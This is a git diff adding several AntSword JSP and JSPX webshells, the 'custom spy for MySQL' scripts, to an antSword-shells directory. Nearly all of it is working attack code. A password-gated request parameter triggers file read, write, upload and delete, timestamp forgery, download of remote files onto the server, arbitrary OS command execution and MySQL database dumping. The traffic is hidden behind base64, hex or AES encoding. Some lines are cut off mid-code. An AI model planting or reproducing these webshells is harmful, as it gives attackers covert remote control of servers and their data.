+ FileOutputStream os = new FileOutputStream(f);
+ for (int i = 0; i < fileHexContext.length(); i += 2) {
+ os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+ }
+ os.close();
+ return "1";
+ }
+ String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
+ File f = new File(fileOrDirPath);
+ if (f.isDirectory()) {
+ File x[] = f.listFiles();
+ for (int k = 0; k < x.length; k++) {
+ if (!x[k].delete()) {
+ DeleteFileOrDirCode(x[k].getPath());
+ }
+ }
+ }
+ f.delete();
+ return "1";
+ }
+ void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
+ int n;
+ byte[] b = new byte[512];
+ r.reset();
+ ServletOutputStream os = r.getOutputStream();
+ BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
+ os.write(("->"+"|").getBytes(), 0, 3);
+ while ((n = is.read(b, 0, 512)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.write(("|"+"<-").getBytes(), 0, 3);
+ os.close();
+ is.close();
+ }
+ String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
+ String h = "0123456789ABCDEF";
+ File f = new File(savefilePath);
+ f.createNewFile();
+ FileOutputStream os = new FileOutputStream(f,true);
+ for (int i = 0; i < fileHexContext.length(); i += 2) {
+ os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+ }
+ os.close();
+ return "1";
+ }
+ String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
+ File sf = new File(sourceFilePath), df = new File(targetFilePath);
+ if (sf.isDirectory()) {
+ if (!df.exists()) {
+ df.mkdir();
+ }
+ File z[] = sf.listFiles();
+ for (int j = 0; j < z.length; j++) {
+ CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
+ }
+ } else {
+ FileInputStream is = new FileInputStream(sf);
+ FileOutputStream os = new FileOutputStream(df);
+ int n;
+ byte[] b = new byte[1024];
+ while ((n = is.read(b, 0, 1024)) != -1) {
+ os.write(b, 0, n);
+ }
+ is.close();
+ os.close();
+ }
+ return "1";
+ }
+ String RenameFileOrDirCode(String oldName, String newName) throws Exception {
+ File sf = new File(oldName), df = new File(newName);
+ sf.renameTo(df);
+ return "1";
+ }
+ String CreateDirCode(String dirPath) throws Exception {
+ File f = new File(dirPath);
+ f.mkdir();
+ return "1";
+ }
+ String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
+ File f = new File(fileOrDirPath);
+ SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ java.util.Date dt = fm.parse(aTime);
+ f.setLastModified(dt.getTime());
+ return "1";
+ }
+ String WgetCode(String urlPath, String saveFilePath) throws Exception {
+ URL u = new URL(urlPath);
+ int n = 0;
+ FileOutputStream os = new FileOutputStream(saveFilePath);
+ HttpURLConnection h = (HttpURLConnection) u.openConnection();
+ InputStream is = h.getInputStream();
+ byte[] b = new byte[512];
+ while ((n = is.read(b)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.close();
+ is.close();
+ h.disconnect();
+ return "1";
+ }
+ String SysInfoCode(HttpServletRequest r) throws Exception {
+ String d = "";
+ try {
+ if(r.getSession().getServletContext().getRealPath("/") != null){
+ d = r.getSession().getServletContext().getRealPath("/");
+ }else{
+ String cd = this.getClass().getResource("/").getPath();
+ d = new File(cd).getParent();
+ }
+ } catch (Exception e) {
+ String cd = this.getClass().getResource("/").getPath();
+ d = new File(cd).getParent();
+ }
+ d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
+ String serverInfo = (String)System.getProperty("os.name");
+ String separator = File.separator;
+ String user = (String)System.getProperty("user.name");
+ String driverlist = WwwRootPathCode(d);
+ return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
+ }
+ boolean isWin() {
+ String osname = (String)System.getProperty("os.name");
+ osname = osname.toLowerCase();
+ if (osname.startsWith("win"))
+ return true;
+ return false;
+ }
+ String ExecuteCommandCode(String cmdPath, String command) throws Exception {
+ StringBuffer sb = new StringBuffer("");
+ String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
+ Process p = Runtime.getRuntime().exec(c);
+ CopyInputStream(p.getInputStream(), sb);
+ CopyInputStream(p.getErrorStream(), sb);
+ return sb.toString();
+ }
+
+ String getEncoding(String str) {
+ String encode[] = new String[]{
+ "UTF-8",
+ "ISO-8859-1",
+ "GB2312",
+ "GBK",
+ "GB18030",
+ "Big5",
+ "Unicode",
+ "ASCII"
+ };
+ for (int i = 0; i < encode.length; i++){
+ try {
+ if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
+ return encode[i];
+ }
+ } catch (Exception ex) {
+ }
+ }
+
+ return "";
+ }
+ String strtohexstr(String fileContext)throws Exception{
+ String h = "0123456789ABCDEF";
+ byte[] bytes = fileContext.getBytes(cs);
+
+ StringBuilder sb = new StringBuilder(bytes.length * 2);
+ for (int i = 0; i < bytes.length; i++) {
+ sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
+ sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
+ }
+ String fileHexContext = sb.toString();
+ return fileHexContext;
+ }
+ String asenc(String str, String decode) throws Exception{
+ if(decode.equals("hex") || decode=="hex"){
+ return strtohexstr(str);
+ }else if(decode.equals("base64") || decode == "base64"){
+ String sb = "";
+ sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+ sb = encoder.encode(str.getBytes());
+ return sb;
+ }else if(decode.equals("hex_base64") || decode == "hex_base64"){
+ return asenc(asenc(str, "base64"), "hex");
+ }else if(decode.equals("aes_base64") || decode == "aes_base64"){
+ String sb1 = "";
+ sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
+ return sb1.replace("\r\n","");
+ }
+ return str;
+ }
+ String decode(String str) {
+ byte[] bt = null;
+ try {
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ bt = decoder.decodeBuffer(str);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ return new String(bt);
+ }
+ String decode(String str, String encode) throws Exception{
+ if(encode.equals("hex") || encode=="hex"){
+ if(str=="null"||str.equals("null")){
+ return "";
+ }
+ String hexString = "0123456789ABCDEF";
+ str = str.toUpperCase();
+ ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
+ String ss = "";
+ for (int i = 0; i < str.length(); i += 2){
+ ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
+ baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
+ }
+ return baos.toString(cs);
+ }else if(encode.equals("base64") || encode == "base64"){
+ byte[] bt = null;
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ bt = decoder.decodeBuffer(str);
+ return new String(bt,cs);
+ }else if(encode.equals("aes") || encode == "aes") {
+ String str1 = AesDecrypt(AesKey, str);
+ return str1.trim();
+ }
+ return str;
+ }
+ String AesEncrypt(String key, String cleartext) throws Exception {
+ IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+ SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
+ Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+ cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);
+ byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
+ sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+ String sb = encoder.encode(encryptedData);
+ return sb;
+ }
+ String AesDecrypt(String key ,String encrypted) throws Exception {
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ byte[] byteMi = decoder.decodeBuffer(encrypted);
+ IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+ SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+ Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+ cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
+ byte[] decryptedData = cipher.doFinal(byteMi);
+ return new String(decryptedData, "UTF-8");
+ }
+ String getKeyFromCookie(Cookie[] cookies){
+ String key = "";
+ StringBuilder result = new StringBuilder();
+ if( cookies != null ){
+ for (Cookie c : cookies) {
+ if (c.getName().equals(SessionKey)) {
+ key = c.getValue();
+ break;
+ }
+ }
+ }
+ if(key.length() < aes_keylen){
+ for(int i=0;key.length() < aes_keylen;i++){
+ key += aes_key_padding;
+ }
+ }if(key.length() > aes_keylen){
+ key = key.substring(0,aes_keylen);
+ }
+ return key;
+ }
+ void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
+ String l;
+ BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
+ while ((l = br.readLine()) != null) {
+ sb.append(l + "\r\n");
+ }
+ br.close();
+ }%>
+<%
+ response.setContentType("text/html");
+ request.setCharacterEncoding(cs);
+ response.setCharacterEncoding(cs);
+ StringBuffer output = new StringBuffer("");
+ StringBuffer sb = new StringBuffer("");
+ Cookie cookie = new Cookie(SessionKey, session.getId());
+ response.addCookie(cookie);
+ try {
+ AesKey = getKeyFromCookie(request.getCookies());
+ String funccode = EC(request.getParameter(Pwd) + "");
+ String z0 = EC(decode(request.getParameter("z0")+"", encoder));
+ String z1 = EC(decode(request.getParameter("z1")+"", encoder));
+ String z2 = EC(decode(request.getParameter("z2")+"", encoder));
+ String z3 = EC(decode(request.getParameter("z3")+"", encoder));
+ String[] pars = { z0, z1, z2, z3};
+ output.append(decode(RetS,"base64"));
+ if (funccode.equals("B")) {
+ sb.append(FileTreeCode(pars[1]));
+ } else if (funccode.equals("C")) {
+ sb.append(ReadFileCode(pars[1]));
+ } else if (funccode.equals("D")) {
+ sb.append(WriteFileCode(pars[1], pars[2]));
+ } else if (funccode.equals("E")) {
+ sb.append(DeleteFileOrDirCode(pars[1]));
+ } else if (funccode.equals("F")) {
+ DownloadFileCode(pars[1], response);
+ } else if (funccode.equals("U")) {
+ sb.append(UploadFileCode(pars[1], pars[2]));
+ } else if (funccode.equals("H")) {
+ sb.append(CopyFileOrDirCode(pars[1], pars[2]));
+ } else if (funccode.equals("I")) {
+ sb.append(RenameFileOrDirCode(pars[1], pars[2]));
+ } else if (funccode.equals("J")) {
+ sb.append(CreateDirCode(pars[1]));
+ } else if (funccode.equals("K")) {
+ sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
+ } else if (funccode.equals("L")) {
+ sb.append(WgetCode(pars[1], pars[2]));
+ } else if (funccode.equals("M")) {
+ sb.append(ExecuteCommandCode(pars[1], pars[2]));
+ } else if (funccode.equals("N")) {
+ sb.append(showDatabases(pars[0], pars[1]));
+ } else if (funccode.equals("O")) {
+ sb.append(showTables(pars[0], pars[1], pars[2]));
+ } else if (funccode.equals("P")) {
+ sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
+ } else if (funccode.equals("Q")) {
+ sb.append(query(pars[0], pars[1], pars[2]));
+ } else if (funccode.equals("A")) {
+ sb.append(SysInfoCode(request));
+ }else{
+ sb.append(Version);
+ }
+ } catch (Exception e) {
+ sb.append("ERROR" + ":// " + e.toString());
+ }
+ try {
+ output.append(asenc(sb.toString(), decoder));
+ }catch (Exception e) {
+ sb.append("ERROR" + ":// " + e.toString());
+ }
+ output.append(decode(RetE, "base64"));
+ out.print(output.toString());
+%>
diff --git a/antSword-shells/jsp_custom_spy_for_mysql.jsp b/antSword-shells/jsp_custom_spy_for_mysql.jsp
new file mode 100644
index 00000000..07e7faab
--- /dev/null
+++ b/antSword-shells/jsp_custom_spy_for_mysql.jsp
@@ -0,0 +1,381 @@
+<%--
+ _ ____ _
+ __ _ _ __ | |_/ ___|_ _____ _ __ __| |
+ / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
+ \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
+———————————————————————————————————————————————
+ AntSword JSP Custom Spy for Mysql
+ Author:Medici.Yan
+———————————————————————————————————————————————
+
+说明:
+ 1. AntSword >= v1.1-dev
+ 2. 创建 Shell 时选择 custom 模式连接
+ 3. 数据库连接:
+ com.mysql.jdbc.Driver
+ jdbc:mysql://localhost/test?user=root&password=123456
+
+ 注意:以上是两行
+ 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
+
+ChangeLog:
+
+ Date: 2016/04/06 v1.1
+ 1. 修正下载文件参数设置错误
+ 2. 修正一些注释的细节
+ Date: 2016/03/26 v1
+ 1. 文件系统 和 terminal 管理
+ 2. mysql 数据库支持
+ 3. 支持 base64 和 hex 编码
+--%>
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+ String Pwd = "ant"; //连接密码
+ // 数据编码 3 选 1
+ String encoder = ""; // default
+ // String encoder = "base64"; //base64
+ // String encoder = "hex"; //hex
+ String cs = "UTF-8"; // 脚本自身编码
+ String EC(String s) throws Exception {
+ if(encoder.equals("hex") || encoder == "hex") return s;
+ return new String(s.getBytes("ISO-8859-1"), cs);
+ }
+
+ String showDatabases(String encode, String conn) throws Exception {
+ String sql = "show databases"; // mysql
+ String columnsep = "\t";
+ String rowsep = "";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+ }
+
+ String showTables(String encode, String conn, String dbname) throws Exception {
+ String sql = "show tables from " + dbname; // mysql
+ String columnsep = "\t";
+ String rowsep = "";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, false);
+ }
+
+ String showColumns(String encode, String conn, String dbname, String table) throws Exception {
+ String columnsep = "\t";
+ String rowsep = "";
+ String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
+ return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+ }
+
+ String query(String encode, String conn, String sql) throws Exception {
+ String columnsep = "\t|\t"; // general
+ String rowsep = "\r\n";
+ return executeSQL(encode, conn, sql, columnsep, rowsep, true);
+ }
+
+ String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
+ throws Exception {
+ String ret = "";
+ conn = (EC(conn));
+ String[] x = conn.trim().replace("\r\n", "\n").split("\n");
+ Class.forName(x[0].trim());
+ String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
+ Connection c = DriverManager.getConnection(url);
+ Statement stmt = c.createStatement();
+ ResultSet rs = stmt.executeQuery(sql);
+ ResultSetMetaData rsmd = rs.getMetaData();
+
+ if (needcoluname) {
+ for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+ String columnName = rsmd.getColumnName(i);
+ ret += columnName + columnsep;
+ }
+ ret += rowsep;
+ }
+
+ while (rs.next()) {
+ for (int i = 1; i <= rsmd.getColumnCount(); i++) {
+ String columnValue = rs.getString(i);
+ ret += columnValue + columnsep;
+ }
+ ret += rowsep;
+ }
+ return ret;
+ }
+
+ String WwwRootPathCode(HttpServletRequest r) throws Exception {
+ String d = r.getSession().getServletContext().getRealPath("/");
+ String s = "";
+ if (!d.substring(0, 1).equals("/")) {
+ File[] roots = File.listRoots();
+ for (int i = 0; i < roots.length; i++) {
+ s += roots[i].toString().substring(0, 2) + "";
+ }
+ } else {
+ s += "/";
+ }
+ return s;
+ }
+
+ String FileTreeCode(String dirPath) throws Exception {
+ File oF = new File(dirPath), l[] = oF.listFiles();
+ String s = "", sT, sQ, sF = "";
+ java.util.Date dt;
+ SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ for (int i = 0; i < l.length; i++) {
+ dt = new java.util.Date(l[i].lastModified());
+ sT = fm.format(dt);
+ sQ = l[i].canRead() ? "R" : "";
+ sQ += l[i].canWrite() ? " W" : "";
+ if (l[i].isDirectory()) {
+ s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+ } else {
+ sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
+ }
+ }
+ return s += sF;
+ }
+
+ String ReadFileCode(String filePath) throws Exception {
+ String l = "", s = "";
+ BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
+ while ((l = br.readLine()) != null) {
+ s += l + "\r\n";
+ }
+ br.close();
+ return s;
+ }
+
+ String WriteFileCode(String filePath, String fileContext) throws Exception {
+ BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
+ bw.write(fileContext);
+ bw.close();
+ return "1";
+ }
+
+ String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
+ File f = new File(fileOrDirPath);
+ if (f.isDirectory()) {
+ File x[] = f.listFiles();
+ for (int k = 0; k < x.length; k++) {
+ if (!x[k].delete()) {
+ DeleteFileOrDirCode(x[k].getPath());
+ }
+ }
+ }
+ f.delete();
+ return "1";
+ }
+
+ void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
+ int n;
+ byte[] b = new byte[512];
+ r.reset();
+ ServletOutputStream os = r.getOutputStream();
+ BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
+ os.write(("->|").getBytes(), 0, 3);
+ while ((n = is.read(b, 0, 512)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.write(("|<-").getBytes(), 0, 3);
+ os.close();
+ is.close();
+ }
+
+ String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
+ String h = "0123456789ABCDEF";
+ File f = new File(savefilePath);
+ f.createNewFile();
+ FileOutputStream os = new FileOutputStream(f);
+ for (int i = 0; i < fileHexContext.length(); i += 2) {
+ os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+ }
+ os.close();
+ return "1";
+ }
+
+ String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
+ File sf = new File(sourceFilePath), df = new File(targetFilePath);
+ if (sf.isDirectory()) {
+ if (!df.exists()) {
+ df.mkdir();
+ }
+ File z[] = sf.listFiles();
+ for (int j = 0; j < z.length; j++) {
+ CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
+ }
+ } else {
+ FileInputStream is = new FileInputStream(sf);
+ FileOutputStream os = new FileOutputStream(df);
+ int n;
+ byte[] b = new byte[1024];
+ while ((n = is.read(b, 0, 1024)) != -1) {
+ os.write(b, 0, n);
+ }
+ is.close();
+ os.close();
+ }
+ return "1";
+ }
+
+ String RenameFileOrDirCode(String oldName, String newName) throws Exception {
+ File sf = new File(oldName), df = new File(newName);
+ sf.renameTo(df);
+ return "1";
+ }
+
+ String CreateDirCode(String dirPath) throws Exception {
+ File f = new File(dirPath);
+ f.mkdir();
+ return "1";
+ }
+
+ String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
+ File f = new File(fileOrDirPath);
+ SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ java.util.Date dt = fm.parse(aTime);
+ f.setLastModified(dt.getTime());
+ return "1";
+ }
+
+ String WgetCode(String urlPath, String saveFilePath) throws Exception {
+ URL u = new URL(urlPath);
+ int n = 0;
+ FileOutputStream os = new FileOutputStream(saveFilePath);
+ HttpURLConnection h = (HttpURLConnection) u.openConnection();
+ InputStream is = h.getInputStream();
+ byte[] b = new byte[512];
+ while ((n = is.read(b)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.close();
+ is.close();
+ h.disconnect();
+ return "1";
+ }
+
+ String SysInfoCode(HttpServletRequest r) throws Exception {
+ String d = r.getSession().getServletContext().getRealPath("/");
+ String serverInfo = System.getProperty("os.name");
+ String separator = File.separator;
+ String user = System.getProperty("user.name");
+ String driverlist = WwwRootPathCode(r);
+ return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
+ }
+
+ boolean isWin() {
+ String osname = System.getProperty("os.name");
+ osname = osname.toLowerCase();
+ if (osname.startsWith("win"))
+ return true;
+ return false;
+ }
+
+ String ExecuteCommandCode(String cmdPath, String command) throws Exception {
+ StringBuffer sb = new StringBuffer("");
+ String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
+ Process p = Runtime.getRuntime().exec(c);
+ CopyInputStream(p.getInputStream(), sb);
+ CopyInputStream(p.getErrorStream(), sb);
+ return sb.toString();
+ }
+
+ String decode(String str) {
+ byte[] bt = null;
+ try {
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ bt = decoder.decodeBuffer(str);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ return new String(bt);
+ }
+ String decode(String str, String encode){
+ if(encode.equals("hex") || encode=="hex"){
+ if(str=="null"||str.equals("null")){
+ return "";
+ }
+ StringBuilder sb = new StringBuilder();
+ StringBuilder temp = new StringBuilder();
+ try{
+ for(int i=0; i
+<%
+ response.setContentType("text/html");
+ response.setCharacterEncoding(cs);
+ StringBuffer sb = new StringBuffer("");
+ try {
+ String funccode = EC(request.getParameter(Pwd) + "");
+ String z0 = decode(EC(request.getParameter("z0")+""), encoder);
+ String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
+ String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
+ String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
+ String[] pars = { z0, z1, z2, z3};
+ sb.append("->|");
+
+ if (funccode.equals("B")) {
+ sb.append(FileTreeCode(pars[1]));
+ } else if (funccode.equals("C")) {
+ sb.append(ReadFileCode(pars[1]));
+ } else if (funccode.equals("D")) {
+ sb.append(WriteFileCode(pars[1], pars[2]));
+ } else if (funccode.equals("E")) {
+ sb.append(DeleteFileOrDirCode(pars[1]));
+ } else if (funccode.equals("F")) {
+ DownloadFileCode(pars[1], response);
+ } else if (funccode.equals("U")) {
+ sb.append(UploadFileCode(pars[1], pars[2]));
+ } else if (funccode.equals("H")) {
+ sb.append(CopyFileOrDirCode(pars[1], pars[2]));
+ } else if (funccode.equals("I")) {
+ sb.append(RenameFileOrDirCode(pars[1], pars[2]));
+ } else if (funccode.equals("J")) {
+ sb.append(CreateDirCode(pars[1]));
+ } else if (funccode.equals("K")) {
+ sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
+ } else if (funccode.equals("L")) {
+ sb.append(WgetCode(pars[1], pars[2]));
+ } else if (funccode.equals("M")) {
+ sb.append(ExecuteCommandCode(pars[1], pars[2]));
+ } else if (funccode.equals("N")) {
+ sb.append(showDatabases(pars[0], pars[1]));
+ } else if (funccode.equals("O")) {
+ sb.append(showTables(pars[0], pars[1], pars[2]));
+ } else if (funccode.equals("P")) {
+ sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
+ } else if (funccode.equals("Q")) {
+ sb.append(query(pars[0], pars[1], pars[2]));
+ } else if (funccode.equals("A")) {
+ sb.append(SysInfoCode(request));
+ }
+ } catch (Exception e) {
+ sb.append("ERROR" + "://" + e.toString());
+ }
+ sb.append("|<-");
+ out.print(sb.toString());
+%>
diff --git a/antSword-shells/jspx_custom_script_for_mysql.jspx b/antSword-shells/jspx_custom_script_for_mysql.jspx
new file mode 100644
index 00000000..bed248ce
--- /dev/null
+++ b/antSword-shells/jspx_custom_script_for_mysql.jspx
@@ -0,0 +1,570 @@
+
+
+
+
+
+
+
+
+
+
+
+
+ "+"|").getBytes(), 0, 3);
+ while ((n = is.read(b, 0, 512)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.write(("|"+"<-").getBytes(), 0, 3);
+ os.close();
+ is.close();
+ }
+
+ String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
+ String h = "0123456789ABCDEF";
+ File f = new File(savefilePath);
+ f.createNewFile();
+ FileOutputStream os = new FileOutputStream(f,true);
+ for (int i = 0; i < fileHexContext.length(); i += 2) {
+ os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
+ }
+ os.close();
+ return "1";
+ }
+
+ String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
+ File sf = new File(sourceFilePath), df = new File(targetFilePath);
+ if (sf.isDirectory()) {
+ if (!df.exists()) {
+ df.mkdir();
+ }
+ File z[] = sf.listFiles();
+ for (int j = 0; j < z.length; j++) {
+ CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
+ }
+ } else {
+ FileInputStream is = new FileInputStream(sf);
+ FileOutputStream os = new FileOutputStream(df);
+ int n;
+ byte[] b = new byte[1024];
+ while ((n = is.read(b, 0, 1024)) != -1) {
+ os.write(b, 0, n);
+ }
+ is.close();
+ os.close();
+ }
+ return "1";
+ }
+
+ String RenameFileOrDirCode(String oldName, String newName) throws Exception {
+ File sf = new File(oldName), df = new File(newName);
+ sf.renameTo(df);
+ return "1";
+ }
+
+ String CreateDirCode(String dirPath) throws Exception {
+ File f = new File(dirPath);
+ f.mkdir();
+ return "1";
+ }
+
+ String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
+ File f = new File(fileOrDirPath);
+ SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ java.util.Date dt = fm.parse(aTime);
+ f.setLastModified(dt.getTime());
+ return "1";
+ }
+
+ String WgetCode(String urlPath, String saveFilePath) throws Exception {
+ URL u = new URL(urlPath);
+ int n = 0;
+ FileOutputStream os = new FileOutputStream(saveFilePath);
+ HttpURLConnection h = (HttpURLConnection) u.openConnection();
+ InputStream is = h.getInputStream();
+ byte[] b = new byte[512];
+ while ((n = is.read(b)) != -1) {
+ os.write(b, 0, n);
+ }
+ os.close();
+ is.close();
+ h.disconnect();
+ return "1";
+ }
+
+ String SysInfoCode(HttpServletRequest r) throws Exception {
+ String d = "";
+ try {
+ if(r.getSession().getServletContext().getRealPath("/") != null){
+ d = r.getSession().getServletContext().getRealPath("/");
+ }else{
+ String cd = this.getClass().getResource("/").getPath();
+ d = new File(cd).getParent();
+ }
+ } catch (Exception e) {
+ String cd = this.getClass().getResource("/").getPath();
+ d = new File(cd).getParent();
+ }
+ d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
+ String serverInfo = (String)System.getProperty("os.name");
+ String separator = File.separator;
+ String user = (String)System.getProperty("user.name");
+ String driverlist = WwwRootPathCode(d);
+ return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
+ }
+
+ boolean isWin() {
+ String osname = (String)System.getProperty("os.name");
+ osname = osname.toLowerCase();
+ if (osname.startsWith("win"))
+ return true;
+ return false;
+ }
+
+ String ExecuteCommandCode(String cmdPath, String command) throws Exception {
+ StringBuffer sb = new StringBuffer("");
+ String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
+ Process p = Runtime.getRuntime().exec(c);
+ CopyInputStream(p.getInputStream(), sb);
+ CopyInputStream(p.getErrorStream(), sb);
+ return sb.toString();
+ }
+
+ String getEncoding(String str) {
+ String encode[] = new String[]{
+ "UTF-8",
+ "ISO-8859-1",
+ "GB2312",
+ "GBK",
+ "GB18030",
+ "Big5",
+ "Unicode",
+ "ASCII"
+ };
+ for (int i = 0; i < encode.length; i++){
+ try {
+ if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
+ return encode[i];
+ }
+ } catch (Exception ex) {
+ }
+ }
+
+ return "";
+ }
+ String strtohexstr(String fileContext)throws Exception{
+ String h = "0123456789ABCDEF";
+ byte[] bytes = fileContext.getBytes(cs);
+
+ StringBuilder sb = new StringBuilder(bytes.length * 2);
+ for (int i = 0; i < bytes.length; i++) {
+ sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
+ sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
+ }
+ String fileHexContext = sb.toString();
+ return fileHexContext;
+ }
+
+ String asenc(String str, String decode){
+ if(decode.equals("hex") || decode=="hex"){
+ return strtohexstr(str);
+ }else if(decode.equals("base64") || decode == "base64"){
+ String sb = "";
+ sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+ sb = encoder.encode(str.getBytes());
+ return sb;
+ }else if(decode.equals("hex_base64") || decode == "hex_base64"){
+ return asenc(asenc(str, "base64"), "hex");
+ }else if(decode.equals("aes_base64") || decode == "aes_base64"){
+ String sb1 = "";
+ sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
+ return sb1.replace("\r\n","");
+ }
+ return str;
+ }
+
+ String decode(String str) {
+ byte[] bt = null;
+ try {
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ bt = decoder.decodeBuffer(str);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ return new String(bt);
+ }
+ String decode(String str, String encode) throws Exception{
+ if(encode.equals("hex") || encode=="hex"){
+ if(str=="null"||str.equals("null")){
+ return "";
+ }
+ String hexString = "0123456789ABCDEF";
+ str = str.toUpperCase();
+ ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
+ String ss = "";
+ for (int i = 0; i < str.length(); i += 2){
+ ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
+ baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
+ }
+ return baos.toString(cs);
+ }else if(encode.equals("base64") || encode == "base64"){
+ byte[] bt = null;
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ bt = decoder.decodeBuffer(str);
+ return new String(bt,cs);
+ }else if(encode.equals("aes") || encode == "aes") {
+ String str1 = AesDecrypt(AesKey, str);
+ return str1.trim();
+ }
+ return str;
+ }
+
+ String AesEncrypt(String key, String cleartext) throws Exception {
+ IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
